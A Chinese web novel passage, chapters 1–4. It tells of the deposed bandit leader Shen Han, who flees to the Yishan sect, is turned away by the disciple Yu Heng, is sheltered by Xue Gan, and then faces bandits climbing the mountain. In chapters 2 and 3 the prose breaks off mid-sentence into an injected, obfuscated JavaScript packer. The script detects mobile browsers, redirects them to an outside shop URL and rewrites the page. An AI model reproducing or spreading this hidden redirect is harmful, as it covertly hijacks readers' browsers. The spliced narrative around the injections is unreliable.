《师兄他神似多个前任》 1. 水鬼 景平元年,冬末。望仙县最大的匪首倒台了。 青灰色的薄暮里,一块接一块往下坠着沉甸甸的雪屑。濛沙街临濛水,山匪的马蹄声踏碎了一个安宁的早晨。 以往各个铺面的商贩都是要早起忙碌的,起锅热灶台,准备迎接第一波客人。这是乱世,钱不好赚,因此商贩们起的是个顶个的早。 寒风呼啸,揉碎了蒸饼店刚升起的白汽。 蒸饼店老板瑟缩着脖子,一脸讨好地对眼前的匪徒道:“大爷,您吃饼。” 说着他递上了今天的第一锅饼。 那匪徒瞥了一眼,心安理得接过了饼子,啃了一口,道:“我再问你最后一遍,见没见过这个娘们?” 另一匪徒手中端着个破碎的画像,似乎是从很久以前一张通缉令上铰下来的。画中女子眉眼艳丽深邃,即便画布肮脏,也盖不住她惊世的容貌和眉眼之间的煞气,依稀能认出这是个绝代佳人。 蒸饼店老板吞咽了下,余光瞥到邻里面条店的老板,亦是如此被逼问的光景。他瑟缩着身子,又吞咽了下,道:“大爷,的的确确是没见过……” “没见过?”匪徒声音骤然拔高,吓得蒸饼店老板一个激灵,“你可认得她到底是什么人?” “认得……”蒸饼店老板脑中急转,马上改口,“也不甚认得。” 匪徒锐利的目光在他脸上转了几圈,手里提着的阔面大刀映着冰冷的雪色。老板只能忍着这目光,一声也不敢吭。 直到那匪徒丢下了一声冷哼,带人转身离去,老板才长舒一口气。他站在原地捂着快要胀出胸口的心脏,缓了良久,与那面条店老板对视了一眼。 两个人目光交汇,不言而喻。 昨夜,望仙县的人们都没能睡个好觉。只听马蹄声在街上响了几轮,似乎还有追杀嘶吼之声。人们躲在家里,不敢开窗偷窥,只因为在望仙县这个地方,能搞出这么大阵仗的只有临着的匪寨。 匪徒的事能是什么好事?马蹄声响了一整夜,即便是清晨,他们也在挨家挨户地追查画像上的女子。 匪徒吆喝的声音远了,蒸饼店老板哆嗦着手重新开始团面。只听耳边传来怯懦又八卦的声音,“喂,知道不?那水鬼倒台了。” 蒸饼店老板手上动作一顿,先是四处打量了一圈,才敢抬眼看邻着的友人。“看出来了,原本那几个匪子都是她手下的喽啰,如今挨家挨户搜她,肯定是倒台了。” 面条店老板会心一笑,畅快道:“我就说多行不义,她迟早遭报应。当初把县令沉水,火烧望仙的时候,她是何等的嚣张。自从她来了,咱望仙就没有个坐得住的县令。瞧瞧今日,被自己人反了水。真是报应不爽,报应不爽啊!还说自己是什么‘河神’,我呸!就是一臭水沟里的水鬼!” “嘘,你悠着点。” “昨夜里,我听了一宿,那喊打喊杀里混着几声惨叫,路面上还有血和尸首,八成是不行了。” 蒸饼店老板心一动,嘴角也不免挂上丝笑意,“真不行了?” “真不行了,被那么多人追杀,还受了伤,这寒冬腊月的,她就是一姑娘,能怎么活?” 更鼓声闷闷传来,街上的人逐渐多了。那匪徒队伍再也没来过,人们也就当作什么都没发生,正常过活。 寒风吹得帐子作响,蒸饼店老板忙了一个时辰,手腕酸痛不已。他抬头看了看白茫茫的天,雪还在零零碎碎下着,不知为何,突然间想起了那个声名狼藉的“河神”。不由得,蒸饼店老板还是叹了口气。 面条店老板笑道:“难得生意好,怎么还叹上气了?” 蒸饼店老板摇了摇头,道:“我就是觉得,那么标致的姑娘,怎么心眼这么坏?” “神仙皮囊,恶鬼心肠。”面条店老板不以为然,“她那一身怪力气,本就不是正常女子。你也不必为这种人叹息。死了个水鬼,还有山鬼,还有恶鬼,这世道,就是不缺鬼向咱们索命哩!那女子也不过是咎由自取罢了!” “是了是了。唉,你还记得那水鬼叫什么吗?” “好像姓沈,叫沈……沈什么来着?” “罢了,总归是个死人了。不归寨这般追杀,她是很难活了。”蒸饼店老板说完,又重新忙活起来。 而在濛沙街街角,沈寒扯着块破布遮着头面,听到商贩们的议论,不屑地“嘁——”了声,转身离开,混入了稀疏的人流。 这望仙县是待不下去了,只是逃出去的路她探过,已经被不归寨的人把守住。码头自然是不归寨所属,她身上带着伤,体力也不足以支撑她渡河。算一算,匪徒迟迟不见她的踪影,还是会重新在街上搜查。到时候她也不确定自己还能不能躲过。 沈寒垂着头遮着面,也遮着身上的伤,一边走一边飞速思索着。 街上人声鼎沸,路人与她擦肩而过,人们都在议论着水鬼倒台的喜讯,却没想到那水鬼已然就在他们身边。她实在无法忽视这群愚蠢的世人到底如何议论她,倘若她还雄霸不归寨,这些人高低要被她吊起来挂在望仙前一天的。奈何如今…… 沈寒握紧了拳头,加快脚步。 县衙?新上任的县令她没少得罪,此人虽清正,定不会将她交给不归寨,却无异于出龙潭入虎穴。届时将自己依法处置,小命依旧不保。 丐棚?这是她最擅长躲藏的地方。可不仅仅是丐棚,这些上不来台面的地方,不归寨的人兴许都能追查到。 不知不觉,沈寒走到了人烟稀少的郊野。她只觉得身体越发的冷,两腿发软,腹部的伤口一次次刺激着她的 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山路上盖了一层厚雪,遮住了树木本来的形状。沈寒受了伤,走路也不稳,山路湿滑,偶尔蹭到树枝,她便会踉跄着跌个跟头。渐渐的,山上的空寂环绕着她,遮盖住了尘世的喧闹。沈寒遮面的破布也不知道掉到何处,露出了一身破碎的红衣。 奇怪的是,夷山竟没有弟子巡山,更无弟子把守山门。一切都比沈寒预估的要顺利许多,她几乎没怎么费力,就到了山门前。她舔了舔嘴角的血沫,只能往前,由不得自己多想。 她不敢堂而皇之走正门,选的是通往后门的一条小路。走到后门长阶时,已然摇摇晃晃,身形不稳。一时眼花缭乱,她脚一滑在长阶上跌倒,刚刚凝固的伤口又渗出血来。她正想忍痛挣扎起来去叩山门,门却自己开了。 院墙高耸遮住了日光,而那扇乌漆重门推开的一刹那,光从门缝中流泻出来。万籁俱寂,沈寒身上的痛楚骤然隔绝,恍若不在人间。 人的一生有几回这样的时刻?她感到命运汹涌推动自己的脊背,凶悍而又漂泊的人生就此转折。她开始坚信自己只需要踏进这扇门,一切都会好起来。 沈寒怔忪望着那道光。 门前立着一个画中仙般的男子。 他周身清正,一袭白衣,面色若雪,眉眼似墨。分明是同自己差不多的年纪,那双寒眸中掷过来的目光,却透露着与年龄不相符的成熟、疲惫。郁珩像是一块冰凉的寒玉,衣衫是冰凉的白,目光冰凉且不带人情,连身姿都像是雪天的桧树,刻薄又挺拔。 郁珩投向沈寒的目光带着若有若无的疏离,头发束的一丝不苟,衣服是干干净净的夷山派校服,而沈寒却一袭红衣,满身血污。 光明与黑暗,正与邪,慈悲与暴虐,在此刻碰撞。 郁珩久久望着她——她确实生得极艳。 2. 苓庐 大雪纷飞,见到立在山门前的郁珩,刹那间,她萌生了一股浓烈的羞耻感。 若说郁珩其人,倒称得上君子端方,玉质高洁,即便是自己这样乌泥沼泽爬出的恶鬼,他也不至于见死不救。 可沈寒心虚,只因她作祟望仙三年,与此人打过两次照面,偏生这两次,把他得罪狠了。 那时候她火烧望仙县,把那县令当众沉了河,正是春风得意的时候。她总想着得给自己立威,于是带着一众匪子,一路杀到了夷山派。 沈寒是知道夷山派斤两的,虽是个名门正派,却早已凋零。而不归寨并非寻常山匪,乃是作祟多年、兵强马壮近似一帮正规官兵的匪寨。她泱泱大队人马,一路杀上夷山,看着立在院子正中央的一把石剑,轻轻一扬手,匪徒便扛着锤子把那石剑砸了个粉身碎骨。 沈寒只记得那群夷山的草包哭着喊着想要她的命,却被一个人拦了下来。 那人便是郁珩。 他当时看向自己的目光,沈寒至今还记得,凉薄得不含任何人情,像是在看一个误入歧途的人。可沈寒是匪,最喜欢的就是夺人所好。这些激愤的夷山弟子被郁珩轻飘飘的拦了下来,沈寒心中的爽感少了一半。她甚至怀疑,到底是夷山派真的如此水,还是他们压根不想与自己争。 她似是被这冰凉的目光惊到,恨不得郁珩当即拔剑和自己打一场。无论她怎么发难,郁珩却始终不开口,也不发作,急得沈寒心里似是有火在烧。 她看着那慈眉善目的掌门和郁珩,深知即便是不归寨,也不可能真的将一个百年传承的名门正派打散。沈寒见好就收,冷哼一声,带着匪子无趣地下山了。 这是第一回。 第二回便是望仙县令被沉水后,新县令仓促上任,要联合夷山为百姓讨个公道。不归寨易守难攻,县尉司本就是群不能打的,匪子又不惜抓了村里的百姓作为要挟。不得已之下,县令只好退兵,这场剿匪也就作罢。 沈寒是万不能咽下这口气的,干脆找了机会,下了脏药将下山的郁珩迷晕,放话出去说要抓夷山掌门的大弟子回来作“压寨夫人”。 当时她正躺在软榻上,枕着松软的虎皮,有一口没一口地喝着酒。匪子把郁珩抬来,沈寒惺忪地抬眼一瞥,却是眼前一亮。 好一个标致的少侠,皑皑似雪,亭亭如松。 她甚至琢磨着,把羞辱贯彻到底,将这块白玉似的人玷污了,卷个席子丢回山门前得了。 后面郁珩跑了,这位伟大的构想自然也没有实现。 如今是她见到郁珩的第三面,前两次实在是剑拔弩张,不太体面,沈寒开始亏心,对方真的会大发善心将自己捞回去吗? 曾经自己是雄霸望仙的河神,如今人人喊打、四处追杀不说,落魄至此,沈寒生出了浓烈的耻感,连忙忍着身上的伤爬起来。沈寒本就漂亮极了,即便落魄,她那惊人的绝美容貌也能将破衣衫穿的像锦衣华服。 她从未如此正经地对郁珩说话,开口声音也有些发虚。 “望仙沈寒,恳请夷山少侠收留。” 她近乎渴求地望着郁珩,等着郁珩的回音,满腹的筹谋算计只等郁珩说完下一句她便全数说出。 可郁珩的目光淡淡的掠过自己,一句话也没说。 沈寒微仰着头,第一次觉得这夷山山门如此高不可攀。她深吸一口气,“我知道我们之前发生过一些不愉快,请少侠相信我,这一次,我一定做个好人。” 郁珩依旧没有说话。 沈寒深深吸了口气,“郁少侠,俗话说得好,穷寇莫追。夷山派是最仁义的门派,平日里谁家有个什么不幸都要路见不平拔刀相救。我虽是匪,却也是个活生生的人,若是关了山门,我真的死了还好,卷土重来,难道你不怕我连你们一同清算吗?” 寒风吹过的声音尤为刺耳,郁珩始终不发一言。沈寒低垂着头,只能看到他负剑垂下的雪白剑穗子。沈寒悄悄抬首,发现对方一直深深凝视着自己,目光之中却是有些松动。 许是郁珩吃软不吃硬。 于是沈寒深深吸了口气,开始酝酿眼角的泪水,寒冷的空气刺得她鼻尖发酸,惨白的脸也有了血色,刚好是一副泫然欲泣的模样。 她装作是放完狠话没辙了的孩子,气急败坏哭道:“郁珩!你若是不救我,我真的没命了。郁少侠,不,郁师兄。你们不是一直想剿了不归寨吗?我可以拿不归寨的布防同你交换,你知道的我力气大,剿匪那一日我打头阵,刀山火海我也冲在前面。只要你救我这一次。” 她已然姿态放得很低,心想郁珩不考虑人情,也要考量自己能带来的利益了吧? 雪簌簌而下,落在沈寒的伤口上。她流出的血染红一片白,身子微微颤抖着。 她察觉出郁珩在看自己,眉眼间竟有些哀伤。顺着他的目光思量许久,沈寒才发现对方在看自己的伤。于是道:“我伤很重,就算你们救了我,我也害不了你们。” “我不需要你能带来什么。” 郁珩开口了,声音平缓,似冷泉那般包裹着沈寒。 沈寒顿住。 不需要她带来什么,意味着自己没有价值。没有价值是最可怕的事情。 沈寒马上道:“若是你们无心剿匪,如今世道这么乱,多一个人帮衬也是好的!我会说狄人话,若是狄人打进来,我也能交涉……” 耳边传来重重的一声,山门关了。 素来善心若水的郁珩少侠,就这么拒绝了浑身是血的自己。 后来,沈寒记得自己在夷山上反复兜圈子,直到她体力不支昏死过去,也没有找到上山的路。 直到沈寒醒来的时候,身上伤口一齐叫嚣,将她从噩梦中叫醒。 已经许久没有梦到过去的事情了,她有些惊魂未定,身上都冒出些冷汗。睁开眼还没想清楚自己在哪,人已经挺直了腰坐起身来。 屋里炉火烧得正旺,暖红的热气烤得墙都是温热的。榻下放了一盆炭火,枕边还躺着只手炉,看得出照料她的人十分用心,也难怪她能在寒冬腊月里睡出一身细汗。 暖烘烘的热气夹杂着药香,将窗外白茫茫一片隔绝开。沈寒只穿着一件干净的单襦,她抬手闻了闻,衣袖上是皂荚香气。而身上的伤口多是皮肉伤,唯有腹部与后背两处重伤,皆已经被仔细包扎好了。 她这是在医馆?她已经混入夷山派了? 她是怎么混进来的? 明明郁珩已经把她拒绝了啊? 沈寒想不明白,但定然不是那冷脸狠心的郁珩救的。 门外传来几个人聊天的声音,似乎是说着山下发生的事。 “听说了吗?如今匪子四处追杀那水鬼。” “早听说了,李师兄下山采买,被匪子搜身搜了三四次。匪子连衙门都不放过,那姓殷的亲自杀到了衙门,说是要一个个排查狱内的女囚。” “啊?衙门都被他们破了?” “世道乱了,不归寨穷凶极恶,衙门又算得了什么?” “师兄,那咱们收留的这个……” 沈寒听了,深深合上眼,心里越发沉重。 匪子如今不来,只怕是殷九觉得自己与夷山结过梁子,夷山不会收留自己。可若是望仙搜遍,早晚还是会杀上夷山。小小的夷山,怎么能打得过匪子那些人。她当年上夷山轻而易举,如今殷九执掌了不归寨,只怕大开杀戒,夷山就好似脚下的蚂蚁,说踩死就踩死了。 一个清朗的少女嗓音打断了外面的对话,“去去去,瞎聊什么呢?” 沈寒警觉,连忙躺回了榻上,装作没醒的模样。 只听那几个夷山弟子恭敬道了声:“郁师姐。” 另一个少年道:“没事都散了,围在这里做什么?” “我们是担心屋里躺着的这位,师父不说我们也知道,这肯定是那个水鬼。若是匪子杀了上来……” 少女凌厉呵斥道:“怕什么!邪不压正,咱们夷山派一忍再忍,若是不归寨再来惹事,我非得把他们的头削下来!” “师姐您别生气,我们也是担心。师父说了,外面越发的乱了,咱们不能插手外事。江湖事江湖解决,沈寒到底也是个打家劫舍的匪,她往日兴风作浪没少祸祸咱们。如今不归寨内讧,这都是官府的事情,咱们留他,倒显得咱们多管闲事了。” “想这么多作甚。再说了,好端端日子不过,谁想去当匪子?”少年说完,推开了门。“师姐不进来?” 少女道:“心里堵得慌,你自己去吧,我去找爹爹去。” 沈寒听着脚步,那少年在屋里忙活,动作有些毛手毛脚。她偷偷睁开个眼缝,只见一个穿着雪白夷山练功服的少年,正背对着自己收拾桌子。 少年擦了擦桌上撒了的药粉,动作十分利索,只是药粉擦一半洒一半,一看就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可如今由不得她多想,夷山弟子不待见她,她必须夹起尾巴做人。虽说这些人将她照顾好,安置在苓庐,却也可以说是圈禁。她对夷山上下的羞辱,那些夷山弟子对自己的激愤,她都清晰记得。她不相信这欺师灭祖级的羞辱能被轻而易举地放下,也不相信什么善能渡恶。 她本就是要上夷山,即便是郁珩拒了她,她也可以去求那慈眉善目的老掌门。她熟知不归寨的布防。外头兵荒马乱,大梁皇帝的皇位都被狄人打得坐不稳当,朝廷朝令夕改,能得她相助,可保夷山派稳稳立足在望仙。若是她愿意承诺做个好人,夷山派本就是行大善的宗门,定然会被自己的道德逻辑绑架,不能轻易将她赶走。 沈寒甚至连后话都想好了。若是不归寨真的打上门,两方相争,她顺势而为,或是趁乱逃生,怎么都能搏个出路。只需要眼下先诓住这些夷山弟子,做出痛改前非的模样。 被掀翻下台如何,她起起伏伏这么多年,最不怕的就是卷土重来。这韧劲,她沈寒拼得起。 想至此,沈寒依旧是望着薛敢,语气柔柔道:“实在没想到,最后竟然是你们收留我。” 薛敢道:“没有‘你们’,只有我。这些日子都是我同你送药。” “你……不恨我曾毁了你们立派的石剑?” “一块石头而已,有何好在意的。再说了,现在掌门也不愿意重新修好,说明这石剑也没那么重要。” 沈寒挑眉,“竟还没修好?可是有什么为难之处?” 这倒不像是夷山派的迂腐做派。他们这些名门正派最好面子,可不似不归寨,搭个棚子就是寨门。 薛敢无奈摊手,“没钱啊。” 沈寒嘴角抽了抽,转而继续柔柔道:“是了是了,你瞧我给你们添了多少麻烦。” 薛敢摇摇手,“别提了。” “不!不能不提。穷途末路我才知道,原来我以前走了一条多么糊涂的道路!” 薛敢虽本性纯善,他也没指望沈寒真的能从良。没想到眼前的水鬼能说出这种话,登时惊了一惊,上下打量着沈寒。“沈寨主这是……伤着脑子了?” 沈寒当然不后悔。人活一辈子快意恩仇,她从没后悔做过的那些事。只是虎落平阳,她也得陪这些迂腐草包绕上一绕。 正当沈寒一把握住薛敢的腕子,一番精心编排过的肺腑之言正要倾泻而出时,门外突然一阵慌乱。 门“砰”的一声被撞开,沈寒尚未来得及看清怎么回事,当即躺了回去闭上眼装死。 薛敢嘴角抽了抽——这装得也太快了…… 他正色问闯进来的夷山弟子,“慌什么?” 那夷山弟子上气不接下气,道:“完蛋了。匪子上山了!” 3. 骄蛮 这厢沈寒还没在苓庐的暖榻上躺稳,听到了这个消息,只觉得晴天霹雳。 从不归寨一路逃下来的腥风血雨历历在目。她好像又回到那个大雪纷飞的雪夜,身后是穷凶极恶的匪徒。他们每一个都曾对自己俯首帖耳、毕恭毕敬,追杀她时却从不顾虑旧主的情分。 沈寒不恨他们不忠,因为自己这个寨主也是这般得来的。三年前她把旧寨主赶尽杀绝的时候,早该意识到会有这一天。 若是夷山将她交出去,她的下场不会比旧寨主好到哪里去。殷九反了她,只会比她更残忍。 想至此,沈寒暗暗握紧被褥,明明苓庐的火烤得正旺,她还是手底微微发凉。 薛敢皱眉,朗声问,“掌门呢?有没有去寻掌门?” 夷山弟子望着沈寒,思量着该不该说,犹豫片刻还是道:“掌门有客,正在朝雪堂议事。” “有客?”薛敢自顾自盘算起来,“这时候抱剑山庄的师叔们应当还未到,外面兵荒马乱,能是什么人?” 说着,他干脆一撩外袍起身,“我去看看。” 沈寒见他要走,连忙一把拽住薛敢的手臂,“薛少侠!我这……” 薛敢停住脚步,转身看着沈寒那张苍白若纸的脸,才想起自己若是走了,沈寒在这里便没人管了。可匪子杀上山,他总不能躲在苓庐做缩头乌龟。于是薛敢拍了拍沈寒的手背,信誓旦旦道:“沈寨主,你放心,我一定会护着你的。” 他只是夷山一名普普通通的弟子,沈寒不明白,对方为何对自己没有怨恨。可沈寒拿他当救命稻草。 薛敢又说了些宽慰人的话,可沈寒忧心,双唇紧紧抿住,她不开口,屋里静悄悄的,屋外夷山弟子的议论声便显得格外聒噪。 纷杂的脚步声来回响起,令人心头乱哄哄的。 “来了多少人?一定要守好山门。” “听说他把守门的两个师弟师妹打伤,已经进山了!” “什么?快去通知郁师兄!” “他娘的匪子!不如把里面那个丢出去,他们匪子的家务事,要杀要剐他们自己处理!” 薛敢听了,脸上明显浮出焦躁之色,有些坐立难安。 听着外面的议论声,沈寒境遇如何,不言而喻。她不再看薛敢,低垂下头,一头乌黑如墨的长发顺着肩头滑了下来。肩膀微微抽动,似是在抽泣。 薛敢平日最怕姑娘哭,眼前还是这样一个病怏怏的绝色美人,他顿时手足无措,“哎,我不是不管你的意思啊。” “我知道少侠为难,少侠还是去把守山门吧。” “那你呢?” 沈寒再次抬头,那双黑白分明的眼睛已经泫然欲泣,泪水含在眼眶倔强地就是不肯落下。这般倔强又脆弱的模样,看得直叫人心碎。“没想到我的到来给夷山带来这么大的麻烦。是我打扰了,我这就梳妆下山,之后无论如何,都是我咎由自取,是我应得的惩罚。” 门前那夷山弟子听了,几乎要握拳喝彩,恨不得现在就搬起沈寒丢出山门。 薛敢道:“我不是这个意思。你虽为草寇,但也是条人命。掌门发过话,既然你求救于夷山,夷山兼济天下,自然也要保护你。” 夷山弟子道:“薛师兄!咱们门规里什么时候有兼济天下了?她怎么可能是真心悔过,一定是演的。” 薛敢侧首训斥道:“不管她是不是演的,这样一个弱质女子,你能眼睁睁看她落入匪子手里吗?师父就是这么教你的吗?” 薛敢毕竟是师兄,与这夷山弟子又是同门,训斥之下,对方也不敢置喙。 沈寒见眼前的境况,觉得自己多半是安全了,反复向薛敢道谢。 外头又传来夷山弟子大呼小叫的声音,“薛师兄!匪子杀进夷心堂了!大师兄带人去拦了!” 薛敢听了,急得坐不住,猛地站起身道:“沈寨主先在这里躺好,我是不能留在此处了。但我可以将门挂上锁,你安心养伤,不会有危险。” “好好好,少侠一定要小心。”沈寒虚咳两声,目送薛敢离开。 待锁“啪嗒”一声挂上,沈寒才长舒一口气,仰身靠在墙上。 屋里透进些雪色,外面是夷山弟子整顿的吵闹声。沈寒无论如何也理不好思绪,眼前一会是泱泱的濛水,一会又是雪夜下一片厮杀的不归寨。 夷山派不知能守到何时,这样下去不是办法。 门外消停了许多,沈寒捂着伤口起身,蹑手蹑脚来到门前。 不知道是不是之前流血太多,她出了幻觉,总觉得,那群匪子已经把夷山派闹个人仰马翻,甚至杀那群夷山弟子泡酒。她甚至幻听出,空荡的夷山里,传来了山呼海啸般匪子追杀的声音。那兵刃相交的脆响透过回忆,一同随着凛冽的寒风吹了过来。 郁珩呢?郁珩是掌门唯一的弟子,此时此刻应当守在夷心堂。 旁人不了解,沈寒却是知道郁珩那一身好功夫的。除非殷九亲自杀上山,不然那群匪子不可能轻而易举闯入这里。至于夷山弟子……管不了那么多了。 沈寒拍了拍头,想把乱七八糟的念头连同恐惧一起从脑中赶出去。 锁虽是从外面挂上,可撬锁这门手艺她已经炉火纯青。于是她在屋里四处摸索,终于找出个差不多能充当探片的边角料。她趴在门上,在门缝处一点点把探片伸出去,找了许久的功夫才找到锁眼。 撬锁是个考验耳力的功夫,她整张脸压在门缝上,漂亮的五官也被挤变形,摸索许久,终于探进了簧片。 沈寒压下心头的焦躁,沉心去找,虽听不太清楚锁眼里面的声音,可这种木锁她撬的实在是太多,只听清脆一声,锁开了。 沈寒抽回手甩了甩,对自己大师一般的撬锁技艺感到有些得意。她刚想推开门,只听外面传来一阵细碎脚步声。来人气势汹汹,声音倒是有些耳熟,像是同薛敢一起前来却没有进屋的少女。 沈寒只好一猫腰再次钻回床上,把探片藏进枕头下。 门被人一脚踹开,撞在墙上发出声巨响。 来者不善啊!这种危急时候,到底是哪个闲人,还有心思找她的茬…… 沈寒佯装被吓了个激灵,刚想虚弱起身,整个人便被提了起来,将她一路从卧榻丢出了屋。 素裹初晴,苓庐的四方院子都堆了绵绵一层白雪。地上结了层薄冰,人踩上去不免脚滑。 沈寒不敢还手,任那少女将她丢出去,她干脆借势滑倒在地上。 彼时一群小辈的夷山弟子围在院子里,那少女趾高气扬站在阶上,再看沈寒一身薄襦,身上还负伤,冰天雪地里她就这般赤足倒在地上,楚楚可怜,仿佛毫无还手之力。可见过她杀上夷山的弟子都知道,这看似单薄的姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353302|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,藏着比男子还要大的怪力气。 沈寒微微仰头,憔悴地打量着丢她出来的少女。 她虽见过不少夷山弟子,却是弟子们都记得她,而她自己除了郁珩,其他人的脸一张也记不得。 眼前这少女,一身雪白的练功服上有片白色的毛领子,头戴鹅黄珠花,年纪与自己相仿,眉目凌厉,杏眼怒目圆瞪,却也盖不住容貌本身的憨态可爱。从她那有些英气的眉眼里,沈寒倒是看出些那掌门老头的意思。再加上夷山弟子都唤她“郁师姐”。这姑娘大抵是掌门那个骄纵出名的独女——郁云笙。 郁云笙见沈寒楚楚可怜的模样,想到方才郁珩的交代,心里更是窝火。两手叉腰,怒道:“不归水鬼,别以为郁师兄不发话,就没有人动的了你。马上滚出夷山派,休要污了我们门派的清名。” 沈寒捂着伤口,踉踉跄跄却又不卑不亢地起身。众人见她被丢出的模样,本以为她要卖惨,却不想她挺直身子站在郁云笙面前,目光含着些无奈。 “我知道在这里打扰各位少侠修炼,本是要走的。薛少侠大发善心留下我,我已经是感激不尽。既然夷山被匪徒相逼,我这就出去还夷山一个清净。” 前半段郁云笙听了还算顺心,抱着胳膊颇为满意,听到后半段听出些不对劲。沈寒转身就要走,她忙大声道:“走就走,你也要明白,不是我们夷山打不过不归寨,是我们夷山不庇护你这样声名狼藉之徒。” 沈寒点了点头,边走边说:“我明白的。” 只是这声明白轻飘飘的,多少有些阴阳怪气的味道。沈寒捂着伤,虚弱地一点点往苓庐门前走,仿佛是被整个苓庐的弟子欺负了一圈。 郁云笙看着她这副模样,心里怎么都不是滋味,冲着沈寒的背影问,“你明白什么?” “夷山派名门正派,自然要维护门派的名声。像我这样穷途末路的女子,不归寨匪徒杀上来,污了名声不说,打起来也危及门派的安危。我不能一己之力害了整个夷山,我要感恩夷山替我疗伤、临时收留我的恩情,我得走……” 说完,沈寒咳嗽几声,整个人似乎都要在寒风中碎了。实则也不是装的,刚下过雪,沈寒衣衫单薄,寒风又止不住地吹,她也确实快要碎了。 不过要碎也要碎得有价值。 几个夷山弟子听了交头接耳,这其中比起对沈寒的厌恶,他们倒是对不归寨的匪子更加不服。毕竟无论是沈寒做寨主,还是殷九做寨主,不归寨的匪子还是那群匪子,没差的。 郁云笙听了更是恼火,几步追上去,“你是在骂我们夷山派沽名钓誉,害怕一群匪子?” 苓庐处于夷山后山,门是被郁云笙一脚踹开的,沈寒方才一路磨蹭,已经到了苓庐门前。蜿蜒的山路尽头,出现了一抹熟悉的白影。 沈寒目光一凛,心中暗暗叫好,嘴上说着,“女侠误会了……”说着,颤颤巍巍握住了郁云笙的手。 郁云笙冷不防被她这么一握,愣了愣,随后手被甩了起来。她没想到沈寒身上竟然有这么大的力气,挣扎之下好不容易把沈寒甩开,沈寒顺势往地上一躺,发出声艰涩的痛呼。 沈寒身上的单襦渗出点点血色,精致的小脸因疼痛比地上的雪还要惨白,伏在地上微微颤抖着。 郁云笙“轰”的一声脑子炸开。她虽想将人赶出去,却没想过把人弄伤啊! 4. 折梅 夷心堂前,挂着许多山水画。并非什么名家大作,只是夷山派经营至今,实在是有些寥落,外面粮价疯涨,能当的全当了,这些市场上便宜淘来的画作,挂在墙上勉强遮丑罢了。 此时此刻,匪子上山把这些画团了团撕了,反倒令人没那么心疼。 为首的匪子是个彪形大汉,没想到自己上了夷山,还能喝上碗茶。他坐在咯吱作响的椅子上,品了一口,发觉这里的茶还不如不归寨的好喝。一口没咽下去,直接喷在了地上。 一旁上茶的夷山弟子气得指着他,“你”了半天也无可奈何,气得脸成了猪肝色。 郁珩坐在一旁静静望着这一切,并没有开口。他素来是个少言寡语的人,也鲜少动怒。这群匪子于他来说实在不值得多说什么,上茶也不过是夷山的待客之道罢了。 他微微侧首,悄声问一旁的师弟,“师父仍在朝雪堂议事?” “是了,县令一早就来叩山门,想必和匪子内乱有关。师兄,要不我去朝雪堂传信,让掌门出面解决此事?” 郁珩垂眼,情绪被鸦羽般的眼睫遮盖。 县令来夷山,定然是因为不归寨之变。 自从狄人入侵中原,举国陷入战乱之中,望仙县的官兵再也无力维护百姓安全。三足鼎立已经是望仙稳定的常态,避世而居的夷山,捉襟见肘的县衙,兵强马壮的不归寨,相互争斗不休,却也勉强安稳。 随着沈寒倒台,这本就摇摇欲坠的局面也要变上一变。夺了寨主之位的殷九本是沈寒的副手,此人阴狠毒辣,只会比沈寒更难对付。 县令定是为此事而来。 若是此时让朝雪堂知晓此事,以县令的性子,定然要出面震慑这群山匪。官兵与山匪势不两立,夷山派勉强算是中立,这样不必要的争斗最好不要发生。 思及此处,郁珩微微摇头,继续问道:“薛敢呢?还在后山吗?” “方才我来的时候遇到薛师兄,说是要召集师兄弟们,把匪子赶下山去。” 郁珩微微蹙眉,随即这一点的情绪也被他压下去。他就知道薛敢不靠谱,面上不动声色,心头不禁有些烦躁,望向匪徒的时候,也无心与他们周旋。 郁珩平静地起身,白衣胜雪,气度非凡。 匪徒以为他有话要说,却眨眼的功夫,自己屁股下的椅子碎成了两截。 一众匪徒惊得大眼瞪小眼,他们根本看不清楚郁珩到底是何时出手的。甚至郁珩的那把雪辞剑,还好好躺在他身边。剑法之快,令人胆寒。 不应该啊,之前沈寨主带他们上夷山的时候,这群人不是任人欺负的草包吗? 彪形大汉匪徒已然有了些退意,他本就是领命来勘察情况,实在不必把命搭在这里。可他还是虚张声势起身,声若擂鼓,怒喝道:“你他娘的小白脸!想动手是吧!” “你们要找的人,夷山没有。” “没有?”大汉走到郁珩跟前,上下打量着他,可对方没有任何表情,他什么也瞧不出来,“你说没有就没有?没有就让我们弟兄们搜一搜,全当你们自证清白。” “诸位当真要硬闯夷山?” “我还就闯了,怎么地了?” “若是破了夷山也罢,未破夷山,诸位便是要与夷山开战。夷山虽处江湖,收拾一个匪寨也不算违背门规。届时奋力一搏,与不归寨拼个血流成河,能让官府坐收渔翁之利,也是为百姓除害了。” “你……” 大汉琢磨了下。这小白脸武艺深藏不露,夷山更是深藏不露。真打起来,不好说孰强孰弱。他不确定郁珩是不是虚张声势,可殷九若是知道自己擅自动武挑起纷争,定是要砍了自己的。 于是大汉在郁珩面前那块地上啐了一口,带着弟兄想要下山。 “且慢。”郁珩开口,轻飘飘伸出一只手,摊开在大汉面前。动作斯文有礼,不像要东西,反倒像是赠礼。 别说匪徒,连夷山自己的弟子也不知道大师兄这是抽的什么疯。 郁珩道:“椅子一把,画作两幅,赔钱。” 大汉怒喝一声,“你找死!” 可再看郁珩那双寒潭似的眼眸,掂量片刻,还是掏出了个布袋,从里面拽出贯钱丢在郁珩手里,骂骂咧咧地下山了。 待匪子走了,郁珩拍了拍衣摆的尘土,转身朝后山走去。 方才跟在他身后的师弟道:“师兄,不愧是你。三言两语就把这些匪子吓退,还能让他们赔钱。我看这些匪子也就这么回事,没了那水鬼什么也不是。” 郁珩望了他一眼,“君子守礼,不妄议他人。” 师弟捂了捂嘴,追着郁珩的脚步道:“错了错了。” 